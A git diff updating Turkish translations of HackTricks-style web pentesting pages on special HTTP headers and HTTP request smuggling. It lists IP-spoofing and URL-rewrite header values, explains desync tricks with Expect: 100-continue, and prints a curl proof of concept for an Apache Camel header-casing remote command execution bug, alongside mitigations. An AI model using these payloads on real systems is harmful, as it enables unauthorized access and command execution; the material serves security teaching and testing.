diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md
index f557d9d04..0a9b19348 100644
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md
@@ -2,14 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Kelime Listeleri & Araçlar
+## Wordlists & Tools
 
 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
 
-## Konumu Değiştirmek için Başlıklar
+## Konumu Değiştirmek İçin Başlıklar
 
-**IP kaynağını** yeniden yaz:
+IP kaynağını yeniden yaz:
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -26,42 +26,63 @@
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Hop-by-hop başlıklarını kontrol et)
+- `Connection: close, X-Forwarded-For` (Hop-by-hop header'ları kontrol edin)
 
-**Konumu** yeniden yaz:
+Konumu yeniden yaz:
 
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
 ## Hop-by-Hop başlıkları
 
-Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketilmek üzere tasarlanmış bir başlıktır, uçtan uca başlıkların aksine.
+Bir hop-by-hop header, isteği şu anda işleyen proxy tarafından işlenip tüketilmek üzere tasarlanmış bir başlıktır; end-to-end header'dan farklı olarak yalnızca ara düğümün işlemine yöneliktir.
 
 - `Connection: close, X-Forwarded-For`
 
+
 {{#ref}}
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## HTTP İstek Kaçırma
+## HTTP Request Smuggling
 
 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`
 
+
 {{#ref}}
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}
 
+## Expect başlığı
+
+İstemcinin `Expect: 100-continue` başlığını gönderip ardından sunucunun `HTTP/1.1 100 Continue` ile yanıt vererek istemcinin isteğin gövdesini göndermeye devam etmesine izin vermesi mümkündür. Ancak bazı proxy'ler bu başlığı pek sevmez.
+
+`Expect: 100-continue`'ün ilginç sonuçları:
+- Bir HEAD isteğine gövde gönderildiğinde, sunucu HEAD isteklerinin gövde içermediğini hesaba katmayıp bağlantıyı zaman aşımına uğrayana kadar açık tutabiliyor.
+- Diğer sunucular garip veriler gönderdi: yanıtta soketten rastgele okunan veriler, gizli anahtarlar veya hatta ön uçun başlık değerlerini kaldırmasını engelleyen durumlar görüldü.
+- Ayrıca backend 100 yerine 400 ile yanıtladığında `0.CL` desync'e yol açtı; çünkü proxy ön uç ilk isteğin gövdesini göndermeye hazırlanmıştı, bu yüzden gövdeyi gönderdi ve backend bunu yeni bir istek olarak aldı.
+- `Expect: y 100-continue` benzeri varyasyonlar da `0.CL` desync'e sebep oldu.
+- Backend 404 ile yanıtladığında oluşan benzer bir hata `CL.0` desync üretti; kötü niyetli istek bir `Content-Length` belirttiği için backend kötü niyetli isteği + sonraki isteğin (bir victim'ın) `Content-Length` baytlarını gönderiyor. Bu, kuyruğun desync olmasına neden oluyor: backend kötü niyetli istek için 404 yanıtını + victim isteklerinin yanıtlarını gönderirken, ön uç sadece 1 istek gönderildiğini sanıyor; böylece ikinci yanıt farklı bir victim isteğine gidiyor ve onun yanıtı bir sonrakiye aktarılıyor...
+
+HTTP Request Smuggling hakkında daha fazla bilgi için bakınız:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
 ## Önbellek Başlıkları
 
 **Sunucu Önbellek Başlıkları**:
 
-- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir.
-- **`Cf-Cache-Status`** başlığında benzer bir davranış.
-- **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir: `Cache-Control: public, max-age=1800`
-- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıkları** önbellek anahtarının bir parçası olarak işaretlemek için kullanılır.
-- **`Age`** nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
-- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını gösterir.
+- **`X-Cache`** yanıtında, istek önbelleğe alınmadıysa değer **`miss`**, önbelleğe alındıysa **`hit`** olabilir
+- Benzer davranış **`Cf-Cache-Status`** başlığında görülebilir
+- **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki ne zaman önbelleğe alınacağını gösterir: `Cache-Control: public, max-age=1800`
+- **`Vary`** genellikle yanıtta, normalde önbellek anahtarında olmayan ek başlıkların önbellek anahtarının parçası olarak ele alındığını belirtmek için kullanılır
+- **`Age`** nesnenin proxy önbelleğinde bulunduğu süreyi saniye cinsinden tanımlar
+- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın cachelendiğini gösterir
+
 
 {{#ref}}
 ../../pentesting-web/cache-deception/
@@ -69,37 +90,37 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük
 
 **Yerel Önbellek başlıkları**:
 
-- `Clear-Site-Data`: Silinmesi gereken önbelleği belirtmek için kullanılan başlık: `Clear-Site-Data: "cache", "cookies"`
-- `Expires`: Yanıtın ne zaman sona ereceğini içeren tarih/saat: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
-- `Pragma: no-cache` `Cache-Control: no-cache` ile aynı.
-- `Warning`: **`Warning`** genel HTTP başlığı, mesajın durumu ile ilgili olası sorunlar hakkında bilgi içerir. Yanıt içinde birden fazla `Warning` başlığı görünebilir. `Warning: 110 anderson/1.3.37 "Response is stale"`
+- `Clear-Site-Data`: Hangi önbelleğin kaldırılması gerektiğini belirtir: `Clear-Site-Data: "cache", "cookies"`
+- `Expires`: Yanıtın ne zaman sona ermesi gerektiğini içeren tarih/saat: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Pragma: no-cache` `Cache-Control: no-cache` ile aynı
+- `Warning`: Genel HTTP başlığı olan **`Warning`**, mesajın durumu ile ilgili olası sorunlar hakkında bilgi içerir. Bir yanıtta birden fazla `Warning` başlığı görünebilir. `Warning: 110 anderson/1.3.37 "Response is stale"`
 
 ## Koşullu İstekler
 
-- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır.
-- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun veri (Etag) değiştiğinde yanıt içeriğini göndermesini sağlamak için bir Etag değeri kullanır. `Etag`, HTTP yanıtından alınır.
-- **Etag** değeri genellikle yanıtın **içeriğine** dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 bayt**'ın **Sha1**'ı olduğunu gösterir.
+- **`If-Modified-Since`** ve **`If-Unmodified-Since`** başlıklarını kullanan isteklere, yalnızca yanıt başlığı **`Last-Modified`** farklı bir zamanı içeriyorsa veri ile yanıt verilir.
+- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler bir Etag değeri kullanır; sunucu verinin (Etag) değişmesi durumunda yanıt içeriğini gönderir. `Etag` HTTP yanıtından alınır.
+- **Etag** değeri genellikle yanıtın **içeriğine** göre hesaplanır. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'in **37 baytın Sha1**'i olduğunu gösterir.
 
-## Aralık İstekleri
+## Range istekleri
 
-- **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: <range-unit>`
-- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
-- Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
-- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Kaynağın uyumsuz sürümlerinden iki aralığın indirilmesini önlemek için kullanılır.
-- **`Content-Range`**: Tam bir mesajın içinde kısmi bir mesajın nerede bulunduğunu belirtir.
+- **`Accept-Ranges`**: Sunucunun range isteklerini destekleyip desteklemediğini ve destekliyorsa hangi birimde range belirtilebileceğini gösterir. `Accept-Ranges: <range-unit>`
+- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 baytları arasını 206 Partial Content statü kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
+- Bu, aksi takdirde kaçışlanan reflected javascript kodunu almak için faydalı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
+- **`If-Range`**: Verilen etag veya tarih uzaktaki kaynakla eşleşiyorsa yerine getirilecek koşullu bir range isteği oluşturur. Kaynağın uyumsuz sürümlerinden iki range indirmeyi önlemek için kullanılır.
+- **`Content-Range`**: Kısmi bir mesajın tam bir gövde mesajı içindeki yerini belirtir.
 
-## Mesaj gövdesi bilgileri
+## Mesaj gövdesi bilgisi
 
-- **`Content-Length`:** Kaynağın boyutu, ondalık sayı olarak bayt cinsinden.
-- **`Content-Type`**: Kaynağın medya türünü belirtir.
+- **`Content-Length`:** Kaynağın boyutu, ondalık bayt sayısı olarak.
+- **`Content-Type`**: Kaynağın medya tipini belirtir
 - **`Content-Encoding`**: Sıkıştırma algoritmasını belirtmek için kullanılır.
-- **`Content-Language`**: Hedef kitle için tasarlanan insan dili(ler)ini tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır.
-- **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir.
+- **`Content-Language`**: Hedef kitle için amaçlanan insan dil(ler)ini tanımlar; böylece kullanıcıların tercih ettiği dile göre ayrım yapmasına olanak verir.
+- **`Content-Location`**: Döndürülen veri için alternatif bir konumu gösterir.
 
-Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\
-Örneğin, bir HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir:
+Pentest açısından bu bilgiler genellikle "kullanışsız"dır, ancak kaynak 401 veya 403 ile **korunuyorsa** ve bu bilgiyi **almanın** bir yolunu bulabiliyorsanız, bu ilginç olabilir.\
+Örneğin HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu sayfanın içeriğini HEAD istekleri aracılığıyla leak edebilir:
 
-- `Range: bytes=20-20` başlığına sahip bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır.
+- `Range: bytes=20-20` başlığı ile yapılan bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu leaking ediyor
 
 ## Sunucu Bilgisi
 
@@ -108,28 +129,29 @@ Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401*
 
 ## Kontroller
 
-- **`Allow`**: Bu başlık, bir kaynağın işleyebileceği HTTP yöntemlerini iletmek için kullanılır. Örneğin, `Allow: GET, POST, HEAD` olarak belirtilmişse, kaynak bu yöntemleri destekliyor demektir.
-- **`Expect`**: İsteğin başarılı bir şekilde işlenmesi için sunucunun karşılaması gereken beklentileri iletmek için istemci tarafından kullanılır. Yaygın bir kullanım durumu, istemcinin büyük bir veri yükü göndermeyi planladığını belirten `Expect: 100-continue` başlığıdır. İstemci, iletimi sürdürmeden önce `100 (Continue)` yanıtını bekler. Bu mekanizma, sunucu onayını bekleyerek ağ kullanımını optimize etmeye yardımcı olur.
+- **`Allow`**: Bu başlık bir kaynağın hangi HTTP metodlarını işleyebileceğini iletmek için kullanılır. Örneğin `Allow: GET, POST, HEAD` şeklinde belirtilerek kaynağın bu metodları desteklediği gösterilebilir.
+- **`Expect`**: İstemcinin, isteğin başarılı işlenmesi için sunucunun karşılaması gereken beklentileri iletmek için kullandığı başlıktır. Yaygın kullanım örneği `Expect: 100-continue` başlığıdır; bu, istemcinin büyük bir veri yükü göndermeyi planladığını sinyaller. İstemci, devam etmeden önce `100 (Continue)` yanıtını bekler. Bu mekanizma, sunucudan onay gelene kadar veri göndermeyi erteleyerek ağ kullanımını optimize etmeye yardımcı olur.
 
 ## İndirmeler
 
-- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek olarak** (indirilmiş) mi gösterileceğini yönlendirir. Örneğin:
+- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (sayfa içinde gösterilmesi) mı yoksa **attachment** (indirilen) olarak mı muamele edileceğini yönlendirir. Örneğin:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
-Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmek üzere tasarlandığı anlamına gelir.
+Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmesinin amaçlandığı anlamına gelir.
 
 ## Güvenlik Başlıkları
 
 ### İçerik Güvenlik Politikası (CSP) <a href="#csp" id="csp"></a>
 
+
 {{#ref}}
 ../../pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
-### **Güvenilir Türler**
+### **Trusted Types**
 
-CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasına izin vererek, JavaScript kodunu varsayılan olarak güvence altına alır.
+CSP aracılığıyla Trusted Types uygulanarak, uygulamalar DOM XSS saldırılarına karşı korunabilir. Trusted Types, yalnızca belirlenmiş güvenlik politikalarına uygun, özel olarak oluşturulmuş nesnelerin tehlikeli web API çağrılarında kullanılmasına izin vererek JavaScript kodunu varsayılan olarak güvence altına alır.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@@ -148,19 +170,19 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**
 
-Bu başlık, XSS güvenlik açıklarına yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
+Bu header, MIME türlerini tahmin etme (MIME type sniffing) uygulamasını engeller; bu uygulama XSS zafiyetlerine yol açabilir. Tarayıcıların sunucu tarafından belirtilen MIME türlerine uymasını sağlar.
 ```
 X-Content-Type-Options: nosniff
 ```
 ### **X-Frame-Options**
 
-Clickjacking ile mücadele etmek için, bu başlık belgelerin `<frame>`, `<iframe>`, `<embed>` veya `<object>` etiketlerinde nasıl gömülebileceğini kısıtlar ve tüm belgelerin gömme izinlerini açıkça belirtmesini önerir.
+Clickjacking ile mücadele etmek için, bu header belgelerin `<frame>`, `<iframe>`, `<embed>` veya `<object>` etiketlerine nasıl gömülebileceğini kısıtlar ve tüm belgelerin gömme izinlerini açıkça belirtmesini önerir.
 ```
 X-Frame-Options: DENY
 ```
 ### **Cross-Origin Resource Policy (CORP) ve Cross-Origin Resource Sharing (CORS)**
 
-CORP, hangi kaynakların web siteleri tarafından yüklenebileceğini belirlemek için kritik öneme sahiptir ve cross-site leak'leri azaltır. CORS ise, belirli koşullar altında aynı köken politikasını gevşeterek daha esnek bir cross-origin kaynak paylaşım mekanizması sağlar.
+CORP, hangi kaynakların web siteleri tarafından yüklenebileceğini belirtmek için kritik öneme sahiptir; cross-site leaks'i azaltır. CORS ise daha esnek bir cross-origin resource sharing mekanizmasına izin verir ve belirli koşullar altında same-origin policy'yi gevşetir.
 ```
 Cross-Origin-Resource-Policy: same-origin
 Access-Control-Allow-Origin: https://example.com
@@ -168,53 +190,53 @@ Access-Control-Allow-Credentials: true
 ```
 ### **Cross-Origin Embedder Policy (COEP) ve Cross-Origin Opener Policy (COOP)**
 
-COEP ve COOP, çapraz köken izolasyonunu sağlamak için gereklidir ve Spectre benzeri saldırıların riskini önemli ölçüde azaltır. Sırasıyla, çapraz köken kaynaklarının yüklenmesini ve çapraz köken pencereleriyle etkileşimi kontrol eder.
+COEP ve COOP, çapraz-kaynak izolasyonunu etkinleştirmek için gereklidir ve Spectre benzeri saldırı riskini önemli ölçüde azaltır. Bunlar sırasıyla çapraz-kaynaklı kaynakların yüklenmesini ve çapraz-kaynaklı pencerelerle etkileşimi kontrol eder.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Son olarak, HSTS, tarayıcıların yalnızca güvenli HTTPS bağlantıları üzerinden sunucularla iletişim kurmasını zorlayan bir güvenlik özelliğidir ve böylece gizliliği ve güvenliği artırır.
+Son olarak, HSTS, tarayıcıların sunucularla yalnızca güvenli HTTPS bağlantıları üzerinden iletişim kurmasını zorunlu kılan bir güvenlik özelliğidir; bu da gizliliği ve güvenliği artırır.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
 ## Header Name Casing Bypass
 
-HTTP/1.1, başlık alan adlarını **büyük/küçük harf duyarsız** olarak tanımlar (RFC 9110 §5.1). Yine de, büyük/küçük harf normalizasyonu yapılmadan alınan *literal* başlık adını karşılaştıran özel ara katmanlar, güvenlik filtreleri veya iş mantığı bulmak oldukça yaygındır (örneğin, `header.equals("CamelExecCommandExecutable")`). Eğer bu kontroller **büyük/küçük harf duyarlı** olarak gerçekleştirilirse, bir saldırgan, farklı bir büyük harf kullanarak aynı başlığı göndererek bunları atlatabilir.
+HTTP/1.1, başlık alan adlarının **büyük/küçük harfe duyarsız** olduğunu belirtir (RFC 9110 §5.1). Buna rağmen, gelen başlık adını önce büyük/küçük harf normalleştirmesi yapmadan *literal* olarak karşılaştıran custom middleware, security filters veya business logic parçalarına sıkça rastlanır (ör. `header.equals("CamelExecCommandExecutable")`). Bu kontroller **büyük/küçük harfe duyarlı** yapılırsa, bir saldırgan aynı başlığı farklı bir yazımla göndererek kontrolleri atlayabilir.
 
-Bu hatanın ortaya çıktığı tipik durumlar:
+Typical situations where this mistake appears:
 
-* İsteğin hassas bir bileşene ulaşmadan önce “tehlikeli” dahili başlıkları engellemeye çalışan özel izin/engelleme listeleri.
-* `X-Forwarded-For` sanitizasyonu gibi ters proxy sahte başlıklarının şirket içi uygulamaları.
-* Yönetim / hata ayıklama uç noktalarını açan ve kimlik doğrulama veya komut seçimi için başlık adlarına güvenen çerçeveler.
+* Hassas bir bileşene ulaşmadan önce “tehlikeli” iç başlıkları engellemeye çalışan özel allow/deny listeleri.
+* Reverse-proxy pseudo-headers'ın şirket içi implementasyonları (ör. `X-Forwarded-For` sanitisation).
+* Yönetim / debug endpoint'larını açan ve kimlik doğrulama veya komut seçimi için başlık isimlerine dayanan frameworkler.
 
 ### Abusing the bypass
 
-1. Sunucu tarafında filtrelenen veya doğrulanan bir başlık belirleyin (örneğin, kaynak kodunu, belgeleri veya hata mesajlarını okuyarak).
-2. **Farklı bir büyük/küçük harf ile aynı başlığı** gönderin (karışık büyük/küçük harf veya tamamen büyük harf). HTTP yığınları genellikle başlıkları yalnızca *kullanıcı kodu çalıştıktan sonra* kanonikleştirdiğinden, savunmasız kontrol atlanabilir.
-3. Eğer aşağıdaki bileşen başlıkları büyük/küçük harf duyarsız bir şekilde ele alıyorsa (çoğu öyle yapar), saldırgan kontrolündeki değeri kabul edecektir.
+1. Sunucu tarafında filtrelenen veya doğrulanan bir başlığı tespit edin (örneğin kaynak kodunu, dokümantasyonu veya hata mesajlarını okuyarak).
+2. Aynı başlığı **farklı bir yazımla** gönderin (karışık harf kullanımı veya tamamı büyük harf). HTTP yığınları genellikle başlıkları kullanıcı kodu çalıştıktan *sonra* canonicalise ettiğinden, zafiyete sahip kontrol atlanabilir.
+3. Eğer downstream bileşen başlıkları büyük/küçük harfe duyarsız şekilde işliyorsa (çoğu öyledir), saldırgan kontrollü değeri kabul edecektir.
 
 ### Example: Apache Camel `exec` RCE (CVE-2025-27636)
 
-Apache Camel'ın savunmasız sürümlerinde *Command Center* rotaları, güvenilmeyen istekleri `CamelExecCommandExecutable` ve `CamelExecCommandArgs` başlıklarını kaldırarak engellemeye çalışır. Karşılaştırma `equals()` ile yapıldığından, yalnızca tam küçük harfli adlar kaldırılmıştır.
+Zafiyetli Apache Camel sürümlerinde *Command Center* route'ları, güvensiz istekleri engellemek için `CamelExecCommandExecutable` ve `CamelExecCommandArgs` başlıklarını kaldırmaya çalışır. Karşılaştırma `equals()` ile yapıldığı için sadece tam olarak aynı yazıma sahip başlıklar kaldırılıyordu.
 ```bash
 # Bypass the filter by using mixed-case header names and execute `ls /` on the host
 curl "http://<IP>/command-center" \
 -H "CAmelExecCommandExecutable: ls" \
 -H "CAmelExecCommandArgs: /"
 ```
-Başlıklar, `exec` bileşenine filtrelenmeden ulaşır ve bu da Camel sürecinin ayrıcalıklarıyla uzaktan komut yürütmeye yol açar.
+Başlıklar `exec` bileşenine filtrelenmeden ulaşır ve bu, Camel işleminin yetkileriyle remote command execution'a yol açar.
 
-### Tespit ve Azaltma
+### Tespit ve Hafifletme
 
-* Tüm başlık adlarını tek bir duruma (genellikle küçük harf) **önce** izin/verme karşılaştırmaları yapmadan normalleştirin.
-* Şüpheli tekrarları reddedin: hem `Header:` hem de `HeAdEr:` mevcutsa, bunu bir anomali olarak değerlendirin.
-* Kanonikleştirmeden **sonra** uygulanan pozitif bir izin listesi kullanın.
-* Yönetim uç noktalarını kimlik doğrulama ve ağ segmentasyonu ile koruyun.
+* Tüm başlık isimlerini tek bir duruma (genellikle küçük harf) normalleştirin **önce** izin/engelleme karşılaştırmaları yapmadan.
+* Şüpheli yinelenenleri reddedin: hem `Header:` hem `HeAdEr:` varsa, bunu bir anomali olarak değerlendirin.
+* Pozitif bir izin-listesi kullanın ve bu liste kanonikleştirmeden **sonra** uygulanmalıdır.
+* Yönetim endpointlerini kimlik doğrulama ve ağ segmentasyonu ile koruyun.
 
 
-## Referanslar
+## Kaynaklar
 
 - [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
 - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index db546a2d7..525cbfe05 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -3,62 +3,78 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## Nedir
+## Ne olduğu
 
-Bu zafiyet, **front-end proxies** ile **back-end** sunucusu arasında bir **desenkronizasyon** oluştuğunda meydana gelir; bu durum bir **attacker**'ın bir HTTP **request** göndermesine imkan verir; bu istek **front-end** proxy'leri (load balance/reverse-proxy) tarafından **tek bir request** olarak, **back-end** sunucusu tarafından ise **2 request** olarak **yorumlanır**.\
-Bu, kullanıcının kendi isteğinden sonra **back-end** sunucusuna gelen sonraki isteği **değiştirmesine** olanak tanır.
+Bu açıklık, **front-end proxy'ler** ile **back-end** sunucu arasında bir **desenronizasyon** oluştuğunda ortaya çıkar; bu durum bir **saldırganın** HTTP bir **istek** göndermesine izin verir; bu istek **front-end** proxy'ler (load balancer/reverse-proxy) tarafından **tek bir istek** olarak, **back-end** sunucu tarafından ise **2 istek** olarak **yorumlanır**.\
+Bu, bir kullanıcının **sonraki back-end sunucuya gelen isteği değiştirmesine** olanak sağlar.
 
 ### Teori
 
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
-> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
+> Eğer bir mesaj hem Transfer-Encoding header alanına hem de Content-Length header alanına sahipse, ikincisi göz ardı edilmelidir.
 
 **Content-Length**
 
-> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
+> Content-Length entity header, alıcıya gönderilen entity-body'nin bayt cinsinden boyutunu gösterir.
 
 **Transfer-Encoding: chunked**
 
-> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
-> Chunked means that large data is sent in a series of chunks
+> Transfer-Encoding header, payload gövdesini kullanıcıya güvenli bir şekilde aktarmak için kullanılan encoding biçimini belirtir.\
+> Chunked, büyük verilerin bir dizi chunk halinde gönderildiği anlamına gelir.
 
-### Gerçek Durum
+### Gerçeklik
 
-**Front-End** (a load-balance / Reverse Proxy) _**content-length**_ veya _**transfer-encoding**_ header'larından birini işlerken, **Back-end** sunucusu diğerini işleyebilir ve bu iki sistem arasında bir **desenkronizasyon** meydana gelir.\
-Bu çok kritik olabilir çünkü **bir attacker**, reverse proxy'ye **tek bir request** gönderebilir ve bu istek **back-end** sunucusu tarafından **2 farklı request** olarak **yorumlanır**. Bu tekniğin tehlikesi, **back-end** sunucusunun **enjekte edilen 2. isteği** sanki **sonraki istemciden gelmiş** gibi yorumlaması ve o istemcinin gerçek isteğinin **enjekte edilen isteğin** parçası haline gelmesidir.
+**Front-End** (bir load-balancer / Reverse Proxy), _**Content-Length**_ veya _**Transfer-Encoding**_ header'ını işlerken, **Back-end** sunucu diğerini işlediğinde iki sistem arasında bir **desenronizasyon** oluşur.\
+Bu çok kritik olabilir çünkü **bir saldırgan reverse proxy'ye tek bir istek** gönderebilir ve bu istek **back-end** sunucu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin tehlikesi, **back-end** sunucunun **enjekte edilen 2. isteği**, sanki **bir sonraki istemciden gelmiş** gibi yorumlamasında ve o istemcinin gerçek isteğinin **enjekte edilen isteğin parçası** haline gelmesinde yatar.
 
 ### Özellikler
 
-Unutmayın ki HTTP'de **yeni satır karakteri 2 byte**'tan oluşur:
+HTTP'de unutmayın ki **yeni satır karakteri 2 byte'tan oluşur:**
 
-- **Content-Length**: Bu header, isteğin gövdesinin byte cinsinden **boyutunu** belirtmek için **ondalık sayı** kullanır. Gövde son karakterde biter; **isteğin sonunda yeni bir satır gerekli değildir**.
-- **Transfer-Encoding:** Bu header gövdede **ondalık değil, onaltılık (hex)** sayı kullanarak bir sonraki **chunk**'ın boyutunu belirtir. **Chunk** bir **yeni satırla bitmelidir** ancak bu yeni satır uzunluk göstergesine dahil edilmez. Bu transfer yöntemi `0` boyutlu bir chunk ile ve bunu takip eden **2 yeni satır** ile sona ermelidir.
-- **Connection**: Tecrübeme göre request smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.
+- **Content-Length**: Bu header, isteğin gövdesindeki **bayt** sayısını belirtmek için **onluk (decimal) bir sayı** kullanır. Gövde son karakterde biter, **isteğin sonunda yeni bir satır gerekli değildir**.
+- **Transfer-Encoding:** Bu header, gövdede **bir sonraki chunk'ın bayt** sayısını belirtmek için **onaltılık (hexadecimal) bir sayı** kullanır. **Chunk** bir **yeni satır** ile **bitmelidir**, fakat bu yeni satır uzunluk göstergesi tarafından **hesaba katılmaz**. Bu transfer yöntemi, `0` boyutunda bir chunk ile **ve ardından 2 yeni satırla** sona ermelidir.
+- **Connection**: Deneyimlerime göre request smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması tavsiye edilir.
+
+### Visible - Hidden
+
+HTTP/1.1 ile ilgili temel sorun, tüm isteklerin aynı TCP soketinde gitmesi; bu yüzden iki sistemi alan taleplerde bir uyumsuzluk (discrepancy) bulunursa, tek bir isteğin son backend tarafından 2 farklı istek (veya daha fazlası) olarak algılanması mümkündür.
+
+[This blog post](https://portswigger.net/research/http1-must-die) desync saldırılarını WAF'lar tarafından tespit edilmeyecek şekilde bulmak için yeni yöntemler önerir. Bunun için Visible vs Hidden davranışlarını sunar. Bu durumda amaç, aslında herhangi bir şeyi exploit etmeden desync'e neden olabilecek tekniklerle yanıtlar arasındaki uyumsuzlukları aramaktır.
+
+Örneğin, normal Host header ve " host" header ile bir istek göndermek; eğer backend bu isteğe karşı şikayet ediyorsa (belki " host" değerinin yanlış olması nedeniyle) bu, front-end'in " host" header'ını görmemiş olması, oysa final backend'in bunu kullanmış olması anlamına gelebilir; bu da front-end ile backend arasında muhtemel bir desync gösterir.
+
+Bu bir **Hidden-Visible uyumsuzluğu** olur.
+
+Eğer front-end " host" header'ını dikkate almış ama backend almamış olsaydı, bu bir **Visible-Hidden** durumu olabilirdi.
+
